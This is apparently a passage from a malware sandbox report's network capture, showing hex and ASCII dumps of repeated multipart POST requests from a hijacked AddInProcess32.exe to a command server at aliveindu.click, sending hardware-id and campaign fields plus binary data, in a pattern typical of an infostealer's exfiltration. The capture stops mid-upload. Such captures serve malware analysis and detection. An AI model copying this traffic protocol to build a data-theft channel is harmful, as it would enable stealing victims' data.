Vkvg1bzVeBwHj9qHhx4+0tPrQu4sUyJtaiml4aebzDUOCLvvu85mBgWR1sCQWSCd0+8EuW8bYCNoMuq+5rvOOQ0fvvb/2ycQSpjQh8AQIZzV6gKkZFAlZn0ho+urm9MwAQiz4LXOZgMOktHBmFBn3JTgGvY0Gw1mfy2m8OShniVAEvPgs4QxSQKa38STXySa3/UCpGpWK3FpL6TspYnUNAgIuuy2wW4NStGcwIAQf9L16gm6ZkwuI3Bks6ahl55
2024-12-30 15:18:25 UTC	1369	IN	Data Raw: 75 76 2f 69 69 6b 4f 45 74 2b 45 68 37 4a 54 4d 35 48 65 70 54 65 31 59 6c 55 70 64 53 38 31 35 50 2f 6d 6e 4e 4a 36 56 6b 75 2b 35 72 66 43 65 77 59 48 6e 4e 4c 4a 6c 31 55 6f 6d 74 54 6e 44 37 4e 6f 55 43 56 67 59 69 36 34 37 4b 61 54 32 7a 73 45 41 66 4f 70 2f 38 4e 78 53 56 4c 66 37 64 43 54 45 68 4b 52 32 75 6b 46 6f 43 78 45 59 48 6f 76 4c 61 61 6d 2f 74 76 54 4d 67 73 4f 76 4f 61 31 79 6d 77 44 42 70 66 53 78 49 70 66 49 35 4c 59 37 77 69 37 59 6c 38 6d 61 6d 51 68 72 4f 61 6e 6b 5a 35 30 54 67 79 72 70 2b 65 45 58 51 34 47 6b 74 4f 46 72 56 4d 70 6e 4e 50 78 51 71 6b 69 51 6d 35 6b 59 32 72 79 70 71 71 53 33 6a 45 45 44 37 50 67 73 73 46 71 44 67 6d 53 32 38 32 57 56 79 4f 65 33 65 6f 45 74 6d 74 66 4b 33 46 71 49 36 62 71 35 74 57 65 50 52 5a 4c Data Ascii: uv/iikOEt+Eh7JTM5HepTe1YlUpdS815P/mnNJ6Vku+5rfCewYHnNLJl1UomtTnD7NoUCVgYi647KaT2zsEAfOp/8NxSVLf7dCTEhKR2ukFoCxEYHovLaam/tvTMgsOvOa1ymwDBpfSxIpfI5LY7wi7Yl8mamQhrOankZ50Tgyrp+eEXQ4GktOFrVMpnNPxQqkiQm5kY2rypqqS3jEED7PgssFqDgmS282WVyOe3eoEtmtfK3FqI6bq5tWePRZL
2024-12-30 15:18:25 UTC	1369	IN	Data Raw: 4e 6c 53 56 4c 66 31 63 36 4b 58 69 6d 62 32 65 45 4b 73 57 4a 57 4a 57 56 6b 4c 61 33 67 71 35 50 54 50 77 30 4b 74 2b 32 74 78 32 49 44 42 35 57 63 69 64 68 58 50 39 4b 4d 70 79 57 36 52 55 73 31 63 58 6c 71 74 61 69 2f 32 39 6b 32 54 6c 50 7a 35 4c 44 4e 5a 67 45 43 6b 4e 50 44 6c 6c 59 68 6e 39 48 6f 43 4b 52 6b 56 53 4e 6f 59 43 47 34 35 71 75 66 30 6a 34 47 41 4c 6d 6e 38 59 52 75 45 55 72 48 6e 50 4b 56 58 79 65 52 77 71 63 64 2b 48 55 62 4b 57 38 76 63 75 72 71 71 4a 76 52 4e 67 49 41 75 2b 61 7a 79 6d 34 4d 41 35 66 55 31 5a 6c 55 4c 35 50 61 36 41 4f 79 61 56 34 71 5a 47 73 73 70 61 62 6f 32 39 6b 69 54 6c 50 7a 79 4a 6a 78 4b 79 67 77 33 38 4f 4a 67 52 41 67 6e 70 53 2f 51 72 70 76 56 79 5a 73 61 53 4f 6d 37 4b 2b 51 30 6a 45 4b 42 37 72 69 75 Data Ascii: NlSVLf1c6KXimb2eEKsWJWJWVkLa3gq5PTPw0Kt+2tx2IDB5WcidhXP9KMpyW6RUs1cXlqtai/29k2TlPz5LDNZgECkNPDllYhn9HoCKRkVSNoYCG45quf0j4GALmn8YRuEUrHnPKVXyeRwqcd+HUbKW8vcurqqJvRNgIAu+azym4MA5fU1ZlUL5Pa6AOyaV4qZGsspabo29kiTlPzyJjxKygw38OJgRAgnpS/QrpvVyZsaSOm7K+Q0jEKB7riu
2024-12-30 15:18:25 UTC	1369	IN	Data Raw: 4d 6a 64 76 4f 69 6c 34 71 6e 64 7a 76 43 37 64 6f 58 69 4e 6c 59 79 43 72 34 61 69 56 31 6e 70 41 53 37 54 2f 2f 35 77 70 4b 42 71 45 7a 74 47 56 63 53 71 64 6c 50 68 4d 72 79 78 63 49 69 4d 33 61 71 50 30 6f 70 62 4d 4d 77 6b 46 76 4f 53 74 78 57 51 43 47 4a 6a 54 77 35 39 63 49 5a 33 53 35 67 65 38 59 46 77 72 61 47 41 6d 36 71 6a 6d 6e 4d 5a 36 56 6b 75 64 37 4b 7a 54 61 67 63 42 69 63 65 48 68 78 34 2b 30 74 50 72 51 75 34 73 57 43 56 6f 61 79 71 6d 35 71 4b 57 33 69 67 42 44 4c 54 75 74 4e 5a 6a 44 67 32 55 31 4d 79 58 56 6a 57 65 32 76 55 48 70 48 34 62 59 43 4e 6f 4d 75 71 2b 35 71 33 5a 4b 68 34 49 38 64 61 70 78 33 38 43 42 35 4f 63 32 4e 5a 4a 5a 35 58 59 70 31 72 32 61 6c 51 6e 59 47 41 72 6f 2b 71 72 6e 74 63 2f 44 77 32 33 37 62 58 45 62 77 Data Ascii: MjdvOil4qndzvC7doXiNlYyCr4aiV1npAS7T//5wpKBqEztGVcSqdlPhMryxcIiM3aqP0opbMMwkFvOStxWQCGJjTw59cIZ3S5ge8YFwraGAm6qjmnMZ6Vkud7KzTagcBiceHhx4+0tPrQu4sWCVoayqm5qKW3igBDLTutNZjDg2U1MyXVjWe2vUHpH4bYCNoMuq+5q3ZKh4I8dapx38CB5Oc2NZJZ5XYp1r2alQnYGAro+qrntc/Dw237bXEbw
2024-12-30 15:18:25 UTC	1369	IN	Data Raw: 33 74 68 58 4b 39 4b 4d 70 77 47 78 62 31 6f 6b 61 6d 4d 6c 72 65 4b 30 6b 64 6b 6f 44 77 71 34 36 72 50 45 5a 41 51 41 6e 74 58 4b 6c 46 30 67 6c 64 76 69 51 76 67 73 58 44 59 6a 4e 32 71 4c 36 36 32 58 68 57 42 4f 46 50 33 2b 2f 38 4e 6c 53 56 4c 66 33 4d 32 64 57 69 71 52 32 2b 51 51 74 32 70 4a 4c 6d 35 6c 4f 4b 44 74 6f 35 62 54 4e 77 30 4e 74 65 79 7a 31 6d 41 4a 43 5a 53 63 69 64 68 58 50 39 4b 4d 70 79 47 68 65 6c 45 70 62 33 6b 68 71 2b 57 77 6c 73 35 36 51 45 75 69 34 4b 36 45 4d 52 38 61 69 4e 76 59 31 6b 6c 6e 6c 64 69 6e 57 76 5a 71 55 69 68 6b 61 53 53 34 34 36 43 55 30 54 4d 48 44 37 76 6b 76 38 42 74 44 67 2b 63 30 4d 79 66 55 79 69 57 33 65 6b 4c 75 53 77 56 62 6d 52 33 61 76 4b 6d 68 34 44 64 4e 67 4e 4c 72 4b 6d 6d 68 47 34 46 53 73 65 Data Ascii: 3thXK9KMpwGxb1okamMlreK0kdkoDwq46rPEZAQAntXKlF0gldviQvgsXDYjN2qL662XhWBOFP3+/8NlSVLf3M2dWiqR2+QQt2pJLm5lOKDto5bTNw0Nteyz1mAJCZScidhXP9KMpyGhelEpb3khq+Wwls56QEui4K6EMR8aiNvY1klnldinWvZqUihkaSS446CU0TMHD7vkv8BtDg+c0MyfUyiW3ekLuSwVbmR3avKmh4DdNgNLrKmmhG4FSse
2024-12-30 15:18:25 UTC	1369	IN	Data Raw: 41 65 5a 77 75 49 46 6f 43 35 75 4c 57 31 68 4c 62 79 6d 75 61 53 51 65 67 45 52 38 37 2b 47 33 53 6b 4f 42 74 2b 45 68 34 31 58 4a 35 58 4f 38 51 57 36 66 56 41 6a 62 30 30 6c 72 66 43 6c 6c 4e 30 72 42 30 65 34 36 76 2b 4b 4b 51 34 53 33 34 53 48 74 31 63 78 6b 66 76 6b 45 37 38 73 46 57 35 6b 65 57 72 79 70 70 6a 62 7a 44 6b 65 43 4c 7a 32 67 59 51 78 45 44 54 66 31 39 47 66 51 43 53 45 33 2b 6f 4f 70 31 49 62 64 6a 63 39 65 50 69 30 39 49 53 65 4a 54 46 46 38 2b 62 2f 6e 46 41 51 53 6f 6d 63 6e 38 6f 65 5a 34 43 55 76 30 4c 78 62 30 6b 38 5a 57 77 38 71 61 47 59 70 66 6b 73 42 41 79 6a 34 4b 6a 4c 4b 55 64 4b 6b 4a 79 66 6f 52 41 75 6c 63 2f 32 46 4c 74 38 58 47 35 63 49 57 71 79 70 76 37 62 36 7a 6b 41 42 62 54 78 72 6f 6c 4f 48 77 43 59 7a 4d 43 50 Data Ascii: AeZwuIFoC5uLW1hLbymuaSQegER87+G3SkOBt+Eh41XJ5XO8QW6fVAjb00lrfCllN0rB0e46v+KKQ4S34SHt1cxkfvkE78sFW5keWryppjbzDkeCLz2gYQxEDTf19GfQCSE3+oOp1Ibdjc9ePi09ISeJTFF8+b/nFAQSomcn8oeZ4CUv0Lxb0k8ZWw8qaGYpfksBAyj4KjLKUdKkJyfoRAulc/2FLt8XG5cIWqypv7b6zkABbTxrolOHwCYzMCP
2024-12-30 15:18:25 UTC	1369	IN	Data Raw: 54 79 43 62 70 71 56 6a 73 73 66 6a 79 70 38 4b 48 58 31 69 73 44 42 2f 50 59 38 59 52 78 53 56 4c 66 36 63 53 57 58 69 43 45 78 61 6f 69 76 57 42 59 49 6d 4a 6f 61 75 53 6d 6f 4e 75 47 61 55 42 4c 74 2f 62 2f 6e 44 6c 62 55 63 71 50 6b 4d 67 43 4f 4e 7a 4e 70 78 54 32 4e 41 6c 67 49 33 31 71 38 71 62 68 6d 4d 77 6f 43 41 69 6c 35 50 6a 36 56 77 67 48 6b 4a 44 4a 6b 31 41 67 67 73 4c 38 54 72 35 76 51 54 52 64 55 51 47 6d 34 4b 47 42 32 54 77 6f 4b 2f 4f 70 2f 38 73 70 55 54 50 66 6c 49 65 6e 48 6d 65 4b 6c 4c 39 43 67 32 39 56 49 47 52 35 4f 2b 66 4f 68 61 48 6b 65 43 49 4d 70 71 57 4c 77 33 6b 59 41 5a 4c 51 68 39 59 51 49 64 4b 4d 74 30 7a 32 61 45 70 75 4f 7a 39 34 38 62 50 31 7a 49 35 6f 45 55 57 71 70 36 6d 45 4d 56 74 45 33 38 36 48 77 42 42 67 6b Data Ascii: TyCbpqVjssfjyp8KHX1isDB/PY8YRxSVLf6cSWXiCExaoivWBYImJoauSmoNuGaUBLt/b/nDlbUcqPkMgCONzNpxT2NAlgI31q8qbhmMwoCAil5Pj6VwgHkJDJk1AggsL8Tr5vQTRdUQGm4KGB2TwoK/Op/8spUTPflIenHmeKlL9Cg29VIGR5O+fOhaHkeCIMpqWLw3kYAZLQh9YQIdKMt0z2aEpuOz948bP1zI5oEUWqp6mEMVtE386HwBBgk
2024-12-30 15:18:25 UTC	1369	IN	Data Raw: 32 66 68 74 32 49 79 67 6b 70 2b 65 6c 6c 64 30 6f 48 41 32 77 38 62 79 44 56 7a 63 76 6b 74 48 43 6c 6c 63 5a 72 50 58 74 45 72 74 6a 58 47 78 44 61 44 79 70 32 4a 69 73 7a 7a 30 65 53 5a 58 6b 71 63 63 70 52 30 71 48 6e 4a 2f 59 63 53 32 43 32 65 67 46 39 45 78 63 4f 47 41 76 5a 4f 72 69 35 73 4f 65 48 77 4d 47 74 75 6d 34 68 6b 67 44 47 70 4c 54 77 4e 70 77 49 49 54 58 70 30 7a 32 59 42 74 32 49 32 34 67 75 75 75 70 6e 4a 49 39 46 41 7a 7a 71 66 2f 4b 4b 56 46 4b 6e 74 62 58 6c 56 38 67 33 74 4c 70 44 50 5a 7a 46 54 63 6a 65 57 72 79 74 65 6a 62 7a 48 70 57 53 2f 54 6b 72 64 5a 76 43 68 79 63 6d 2f 6d 6d 66 54 57 56 78 4f 52 41 68 32 46 66 4f 48 5a 73 4f 71 33 59 6d 4c 62 4d 50 52 34 49 38 64 61 70 78 32 6b 48 44 64 2b 53 68 34 41 51 66 39 4c 35 39 51 Data Ascii: 2fht2Iygkp+elld0oHA2w8byDVzcvktHCllcZrPXtErtjXGxDaDyp2Jiszz0eSZXkqccpR0qHnJ/YcS2C2egF9ExcOGAvZOri5sOeHwMGtum4hkgDGpLTwNpwIITXp0z2YBt2I24guuupnJI9FAzzqf/KKVFKntbXlV8g3tLpDPZzFTcjeWrytejbzHpWS/TkrdZvChycm/mmfTWVxORAh2FfOHZsOq3YmLbMPR4I8dapx2kHDd+Sh4AQf9L59Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	57969	104.21.64.143	443	2104	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 15:18:26 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VZGYHCUNU585Q4CSIQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12834 Host: aliveindu.click
2024-12-30 15:18:26 UTC	12834	OUT	Data Raw: 2d 2d 56 5a 47 59 48 43 55 4e 55 35 38 35 51 34 43 53 49 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 30 35 44 42 41 33 32 44 32 42 34 31 30 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 56 5a 47 59 48 43 55 4e 55 35 38 35 51 34 43 53 49 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 5a 47 59 48 43 55 4e 55 35 38 35 51 34 43 53 49 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 62 46 63 47 68 36 2d 2d 32 39 31 32 0d Data Ascii: --VZGYHCUNU585Q4CSIQContent-Disposition: form-data; name="hwid"99705DBA32D2B41020A4C476FD51BCB1--VZGYHCUNU585Q4CSIQContent-Disposition: form-data; name="pid"2--VZGYHCUNU585Q4CSIQContent-Disposition: form-data; name="lid"bFcGh6--2912
2024-12-30 15:18:26 UTC	1132	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 15:18:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oci8dgegj4p5jd6v51qapm10cs; expires=Fri, 25 Apr 2025 09:05:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IkToMBaZgAk9qZni9u%2FTNIi8EZko%2Bc1y6Nqxo1Wlh0H0g39%2F35bK0VxE0N%2B8k4MKRhROf%2Fay6nRBwZ4uGWbj1ROeCfJ%2F84wgd4WPk1mvGTT0MquPUy3ObjCI1nKqOoiPGpw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa3009e3b1d7cf4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1820&min_rtt=1803&rtt_var=711&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2837&recv_bytes=13773&delivery_rate=1503604&cwnd=217&unsent_bytes=0&cid=d821d5b09cd9faeb&ts=587&x=0"
2024-12-30 15:18:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 15:18:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	57970	104.21.64.143	443	2104	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 15:18:27 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3AVFGKKPLN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15028 Host: aliveindu.click
2024-12-30 15:18:27 UTC	15028	OUT	Data Raw: 2d 2d 33 41 56 46 47 4b 4b 50 4c 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 30 35 44 42 41 33 32 44 32 42 34 31 30 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 33 41 56 46 47 4b 4b 50 4c 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 41 56 46 47 4b 4b 50 4c 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 62 46 63 47 68 36 2d 2d 32 39 31 32 0d 0a 2d 2d 33 41 56 46 47 4b 4b 50 4c 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --3AVFGKKPLNContent-Disposition: form-data; name="hwid"99705DBA32D2B41020A4C476FD51BCB1--3AVFGKKPLNContent-Disposition: form-data; name="pid"2--3AVFGKKPLNContent-Disposition: form-data; name="lid"bFcGh6--2912--3AVFGKKPLNContent-D
2024-12-30 15:18:27 UTC	1126	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 15:18:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v1g4areiqskvttvgjon9vnl90f; expires=Fri, 25 Apr 2025 09:05:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8UWKeg5qPsx9bHZzumrvQTJaIOnmLK%2FpYSvCJG7deNtTPyqmTvZJ8cMfhbVW1aja7RYIBValyK5Gk5LJQv4uWlwuxx9eb6JBMXXiCsEva%2FxY8UeOPE%2FmjpQMCB71Wne55nE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa300a4d992ef9d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1809&min_rtt=1801&rtt_var=693&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2838&recv_bytes=15959&delivery_rate=1560662&cwnd=134&unsent_bytes=0&cid=16b5fbb8c0146f58&ts=515&x=0"
2024-12-30 15:18:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 15:18:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	57971	104.21.64.143	443	2104	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 15:18:28 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UPCZKMCJ4IA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20524 Host: aliveindu.click
2024-12-30 15:18:28 UTC	15331	OUT	Data Raw: 2d 2d 55 50 43 5a 4b 4d 43 4a 34 49 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 30 35 44 42 41 33 32 44 32 42 34 31 30 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 55 50 43 5a 4b 4d 43 4a 34 49 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 55 50 43 5a 4b 4d 43 4a 34 49 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 62 46 63 47 68 36 2d 2d 32 39 31 32 0d 0a 2d 2d 55 50 43 5a 4b 4d 43 4a 34 49 41 0d 0a 43 6f 6e 74 65 Data Ascii: --UPCZKMCJ4IAContent-Disposition: form-data; name="hwid"99705DBA32D2B41020A4C476FD51BCB1--UPCZKMCJ4IAContent-Disposition: form-data; name="pid"3--UPCZKMCJ4IAContent-Disposition: form-data; name="lid"bFcGh6--2912--UPCZKMCJ4IAConte
2024-12-30 15:18:28 UTC	5193	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: un 4F([:7s~X`nO`i
2024-12-30 15:18:28 UTC	1121	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 15:18:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kkkg7dks9kp585vh0bd023qh09; expires=Fri, 25 Apr 2025 09:05:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L5FYYZDptmivjD7hTSpISwZnKtViIxQ3Xt71y2OL9fM6L9RPmam4Zve6jZ5nRSQ7wA27tLeubD3WLLo6ATxndk3J5iJsJRIqvPIc8ml5hgaFXisjUbl252DsoX7pSJlGX08%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa300ab6f468cb9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1840&min_rtt=1835&rtt_var=698&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2838&recv_bytes=21478&delivery_rate=1556503&cwnd=183&unsent_bytes=0&cid=e646d6c0848eb675&ts=616&x=0"
2024-12-30 15:18:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 15:18:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	57972	104.21.64.143	443	2104	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 15:18:29 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4YHHB7ZBO7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1204 Host: aliveindu.click
2024-12-30 15:18:29 UTC	1204	OUT	Data Raw: 2d 2d 34 59 48 48 42 37 5a 42 4f 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 30 35 44 42 41 33 32 44 32 42 34 31 30 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 34 59 48 48 42 37 5a 42 4f 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 59 48 48 42 37 5a 42 4f 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 62 46 63 47 68 36 2d 2d 32 39 31 32 0d 0a 2d 2d 34 59 48 48 42 37 5a 42 4f 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --4YHHB7ZBO7Content-Disposition: form-data; name="hwid"99705DBA32D2B41020A4C476FD51BCB1--4YHHB7ZBO7Content-Disposition: form-data; name="pid"1--4YHHB7ZBO7Content-Disposition: form-data; name="lid"bFcGh6--2912--4YHHB7ZBO7Content-D
2024-12-30 15:18:30 UTC	1124	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 15:18:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=298nr26aotf0knrkif4iq4oju3; expires=Fri, 25 Apr 2025 09:05:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5kNixeWJOsiW7r0B1wtaEg9Lz27pcTgNWYivbPdjvLLpiJytCI6yRKPJGjY89ty%2FqOMN7q0ZaX5S%2BOQbmDPH35iTYPmK74pDkXdG7exxyYlaXN8aWm67UthJclSov58i%2B7Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa300b2acb9c323-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1650&min_rtt=1644&rtt_var=628&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2112&delivery_rate=1725768&cwnd=214&unsent_bytes=0&cid=aed8bdebd9bb6396&ts=433&x=0"
2024-12-30 15:18:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 15:18:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	57973	104.21.64.143	443	2104	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 15:18:30 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RINA7S5FE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 587757 Host: aliveindu.click
